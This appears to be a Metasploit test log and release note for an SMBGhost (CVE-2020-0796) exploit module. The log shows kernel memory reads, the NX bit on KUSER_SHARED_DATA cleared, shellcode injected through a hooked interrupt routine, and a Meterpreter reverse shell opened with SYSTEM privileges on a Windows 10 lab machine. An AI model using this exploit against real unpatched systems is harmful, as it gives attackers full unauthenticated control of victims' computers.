[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000001c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000001e00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804008
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000006000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000006200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000006400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000006600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000006800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000006a00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000006c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000006e00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804010
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000004000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000004200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000004400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000004600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000004800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000004a00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000004c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000004e00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804018
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000005000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000005200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000005400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000005600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000005800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000005a00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000005c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000005e00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804020
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000007000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000007200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000007400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000007600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000007800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000007a00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000007c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000007e00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804028
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000008000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000008200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000008400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000008600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000008800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000008a00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000008c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000008e00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804030
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000009000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000009200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000009400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000009600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000009800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000009a00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000009c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000009e00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804038
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000a000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000a200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000a400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000a600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000a800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000aa00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000ac00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000ae00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804040
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000b000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000b200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000b400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000b600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000b800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000ba00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000bc00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000be00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804048
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000c000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000c200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000c400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000c600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000c800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000ca00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000cc00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000ce00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804050
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000d000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000d200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000d400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000d600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000d800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000da00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000dc00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000de00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804058
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000e000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000e200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000e400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000e600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000e800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000ea00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000ec00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000ee00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804060
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000011000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000011200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000011400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000011600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000011800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000011a00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000011c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000011e00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804068
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000f000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000f200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000f400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000f600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000f800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000fa00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000fc00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x000000000000fe00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804070
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000010000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000010200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000010400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000010600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000010800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000010a00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000010c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000010e00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804078
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000013200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000013400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000013600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000013800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000013a00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000013c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000013e00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804080
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000012000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000012200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000012400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000012600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000012800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000012a00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000012c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000012e00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804088
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000019000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000019200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000019400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x00000000000194e8
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x00000000001adf80
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x00000000039080a0
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003909828
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x00000000026b3bb0
[*] 192.168.132.134:445 - Found hal!HalpInterruptController at 0xfffff79800011470
[*] 192.168.132.134:445 - Found hal!HalpApicRequestInterrupt at 0xfffff80520ab3bb0
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x00000000001ad890
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003800000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003801000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003802000
[*] 192.168.132.134:445 - KUSER_SHARED_DATA PTE NX bit cleared!
[*] 192.168.132.134:445 - Transferring 1274 bytes of shellcode...
[*] 192.168.132.134:445 - Transfer complete, hooking hal!HalpApicRequestInterrupt to trigger execution...
[*] Sending stage (200262 bytes) to 192.168.132.134
[*] Meterpreter session 2 opened (192.168.135.197:4444 -> 192.168.132.134:49675) at 2021-05-20 16:49:37 -0500
[*] 192.168.132.134:445 - Restoring the KUSER_SHARED_DATA PTE NX bit...
[*] 192.168.132.134:445 - Cleaning up the contents of KUSER_SHARED_DATA...

meterpreter > sysinfo
Computer        : DESKTOP-CL5L2IH
OS              : Windows 10 (10.0 Build 18362).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

[bwatters-r7]

Release Notes

New module exploits/windows/smb/cve_2020_0796_smbghost adds an exploit for CVE-2020-0796 which can be used to gain unauthenticated remote code execution against unpatched Windows 10 v1903 and v1909 systems.